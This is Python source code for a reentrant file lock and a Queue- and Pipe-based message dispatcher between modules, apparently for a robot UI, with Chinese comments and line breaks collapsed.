class RLock(Lock): """ A reentrant lock, functions in a similar way to threading.RLock in that it can be acquired multiple times. When the corresponding number of release() calls are made the lock will finally release the underlying file lock. """ def __init__(self, filename, mode='a', timeout=DEFAULT_TIMEOUT, check_interval=DEFAULT_CHECK_INTERVAL, fail_when_locked=False, flags=LOCK_METHOD): super(RLock, self).__init__(filename, mode, timeout, check_interval, fail_when_locked, flags) self._acquire_count = 0 self._lock = ProcessRLock() self._pid = os.getpid() def acquire(self, timeout=None, check_interval=None, fail_when_locked=None): if self._lock: # cleanup bad python behaviour when forking while lock is acquired # see Issue https://github.com/allegroai/clearml-agent/issues/73 # and https://bugs.python.org/issue6721 if self._pid != os.getpid(): # noinspection PyBroadException try: if self._lock._semlock._count(): # noqa # this should never happen unless python forgot calling _after_fork self._lock._semlock._after_fork() # noqa except BaseException: pass if not self._lock.acquire(block=timeout != 0, timeout=timeout): # We got a timeout... reraising raise exceptions.LockException() # check if we need to recreate the file lock on another subprocess if self._pid != os.getpid(): self._pid = os.getpid() self._acquire_count = 0 if self.fh: # noinspection PyBroadException try: portalocker.unlock(self.fh) self.fh.close() except Exception: pass self.fh = None if self._acquire_count >= 1: fh = self.fh else: fh = super(RLock, self).acquire(timeout, check_interval, fail_when_locked) self._acquire_count += 1 return fh def release(self): if self._acquire_count == 0: raise exceptions.LockException( "Cannot release more times than acquired") if self._acquire_count == 1: super(RLock, self).release() self._acquire_count -= 1 if self._lock: self._lock.release() def __del__(self): self._lock = None # try to remove the file when we are done if not os.path.isfile(self.filename): return try: self.acquire(timeout=0) try: os.unlink(self.filename) removed = True except Exception: removed = False self.release() if not removed: try: os.unlink(self.filename) except Exception: pass except Exception: pass
class App(object): """ 这是消息分发的类,对外使用multiprocessing.Pipe 对内默认使用Queue 消息格式是dict 基本的格式如下 { 'msg_src': 'show_box', 'msg_data': { 'msg_id': 'mode_show_box_show_tip', 'module_name': 'show_box' }, 'msg_dst': 'dispatcher', 'msg_id': 'register_msg_id', 'msg_session': 'show_box-to-dispatcher-30d90895-f891-453c-a984-ae28b0151330' } 通过 is_msg_center 来标志是否是消息中心,负责消息的转发, 内部通信的话,直达,跨进程的通过dispatcher """ def __init__(self, module_name, is_msg_center=False, need_start=True, inner_connection=None): self.__app_name = module_name self.__logger = get_logger('app_' + self.__app_name) self.__need_start = need_start self.__is_msg_center = is_msg_center self.__ins = Ins() self.msg_id_module_dict = self.__ins.msg_id_module_dict self.msg_id = UMsg() # print(self.__app_name, ' :', need_start, '##', inner_connection, '###', inner_callback) if not need_start and inner_connection is not None: self.__queue = inner_connection else: self.__queue = Queue(0) self.__pipe_dispatcher_rec = None self.__pipe_dispatcher_send = None self.__sleep_time = 0.001 self.__lock = None # type: Lock if self.__is_msg_center: self.__pipe_dispatcher_rec, self.__pipe_dispatcher_send = Pipe( False) self.__ins.add_module_queue(self.__app_name, self.__pipe_dispatcher_send) self.__ins.add_module_queue('dispatcher', self.__queue) if self.__app_name != self.msg_id.out_dispatcher: self.send_queue_module_manager() else: self.__lock = RLock() else: self.__sleep_time = 0.01 self.__ins.add_module_queue(self.__app_name, self.__queue) self.__subscriber_dict = {} self.__logger.info('init model ' + self.__app_name) self.__is_shutdown = False self.__default_callback = None self.__multi_default_callback = None # run self self.__start__() def add_dispatcher_pipe(self, dispatcher_name, pipe): """ 进程间使用pipe,线程间使用pysignal :param dispatcher_name: :param pipe: :return: """ self.__ins.add_module_queue(dispatcher_name, pipe) def add_manager_dispatcher_pipe(self, pipe): """ 添加进程级通讯pipe对应关系,对外发 :param pipe: :return: """ self.__ins.add_module_queue('manager_dispatcher', pipe['pipe']) self.__lock = pipe['lock'] def get_self_pipe(self): """ 获取pipe :return: """ if self.__pipe_dispatcher_send is not None: return self.__pipe_dispatcher_send else: return self.__queue def get_self_lock(self): """ 获取lock :return: """ return self.__lock def subscribe_default(self, callback): """ 默认回调,给dispatcher 模块用 :param callback: :return: """ self.__default_callback = callback def subscribe_multi_default_callback(self, callback): """ 这个给进程间dispatcher用 :param callback: :return: """ self.__multi_default_callback = callback def subscribe_msg(self, msg_id, callback): """ 订阅回调,主要是内部queue的回调 :param msg_id: :param callback: :return: """ self.__subscriber_dict[msg_id] = callback msg_data = {'msg_id': msg_id, 'module_name': self.__app_name} if self.msg_id.inner_dispatcher is not None and self.msg_id.inner_register_id is not None: self.send_msg_dispatcher(self.msg_id.inner_register_id, msg_data) def __del__(self): """ 释放本模块 :return: """ self.stop_message() def __start__(self): """ 启动模块通讯监听 :return: """ if self.__need_start: self.process = Thread(target=self.__run__app) self.process.start() if self.__pipe_dispatcher_rec is not None: self.multi_process = Thread(target=self.__run__multi__) self.multi_process.start() def __run__multi__(self): """ 负责进程间的pipe监听 :return: """ self.__logger.info(self.__app_name + ' __run__multi__ subscribe') while not self.__is_shutdown: data_dict = self.__pipe_dispatcher_rec.recv() msg_id = data_dict['msg_id'] if (msg_id != self.msg_id.mode_mt_update_button_status ) and (msg_id != self.msg_id.base_frame_info_notify) and ( msg_id != self.msg_id.ui_manager_robot_status_notify) and ( msg_id != self.msg_id.mode_working_position_notify): self.__logger.info('receive from ' + str(data_dict['msg_src']) + ' :' + str(data_dict)) if self.__multi_default_callback is not None: self.__multi_default_callback(data_dict) time.sleep(0.0001) def inner_msg_handler(self, data_dict): msg_id, msg_data = Util.get_msg_id_data_dict(data_dict) if msg_id is not None: callback = self.__subscriber_dict.get(msg_id) if callback is not None: callback(data_dict) else: if self.__default_callback is not None: self.__default_callback(data_dict) def __run__app(self): """ 负责queue的监听 :return: """ self.__logger.info(self.__app_name + ' callback_msg subscribe') while not self.__is_shutdown: if not self.__queue.empty(): data_dict = self.__queue.get_nowait() self.inner_msg_handler(data_dict) time.sleep(self.__sleep_time) # print(self.__app_name + ' quit by user') self.__logger.info(self.__app_name + ' quit by user') def stop_message(self): """ 进程状态切换 :return: """ self.__logger.info(self.__app_name + 'stop') self.__is_shutdown = True self.__ins.delete_module(self.__app_name) def make_session(self, msg_dst): return str( self.__app_name) + '-to-' + str(msg_dst) + '-' + Util.get_uuid() def send_msg(self, msg_id, msg_dst, msg_data=None, msg_src=None): """send msg to other model""" send_msg = { 'msg_id': msg_id, 'msg_data': msg_data, 'msg_dst': msg_dst, 'msg_session': self.make_session(msg_dst) } if msg_src is None: send_msg['msg_src'] = self.__app_name else: send_msg['msg_src'] = msg_src send_queue = self.__ins.get_queue_by_module_name(msg_dst) if send_queue is not None: if isinstance(send_queue, connection.Connection): if msg_dst == self.msg_id.out_dispatcher and self.__lock is not None: self.__lock.acquire() send_queue.send(send_msg) if (msg_id != self.msg_id.mode_mt_update_button_status ) and (msg_id != self.msg_id.base_frame_info_notify) and ( msg_id != self.msg_id.ui_manager_robot_status_notify ) and (msg_id != self.msg_id.mode_working_position_notify): self.__logger.info('send to ' + str(self.msg_id.out_dispatcher) + ' :' + str(send_msg)) if msg_dst == self.msg_id.out_dispatcher and self.__lock is not None: self.__logger.info('get lock : ' + str(self.__lock)) self.__lock.release() else: self.send_msg_inner(send_queue, send_msg) def send_msg_inner(self, send_queue, send_msg): if isinstance(send_queue, Queue): send_queue.put_nowait(send_msg) def send_msg_id_manager_dispatcher(self, msg_id): msg_data = {'msg_id': msg_id, 'module_name': self.__app_name} self.send_msg(self.msg_id.manager_register_msg_id, self.msg_id.out_dispatcher, msg_data) def send_data_dict_manager_dispatcher(self, data_dict): send_queue = self.__ins.get_queue_by_module_name( self.msg_id.out_dispatcher) if send_queue is not None and isinstance(send_queue, connection.Connection): # print('send_queue' + str(send_queue) + 'data:' + str(data_dict)) send_queue.send(data_dict) def send_queue_module_manager(self): msg_data = { 'module_name': self.__app_name, 'pipe': self.__pipe_dispatcher_send } self.send_msg(self.msg_id.manager_register_pipe, self.msg_id.out_dispatcher, msg_data) def send_msg_dispatcher(self, msg_id, msg_data=None): self.send_msg(msg_id, self.msg_id.inner_dispatcher, msg_data) def send_msg_out(self, msg_data=None): self.send_msg(self.msg_id.interface_ros_send_msg_out, self.msg_id.inner_dispatcher, msg_data) def show_box(self, index, tip): msg_data = {'index': index, 'tip': tip} # print(msg_data) self.send_msg_dispatcher(self.msg_id.ui_manager_show_box, msg_data) def mode_dispatcher(self, page_mode): msg_data = {'page_mode': page_mode} self.send_msg_dispatcher(self.msg_id.ui_manager_change_page, msg_data)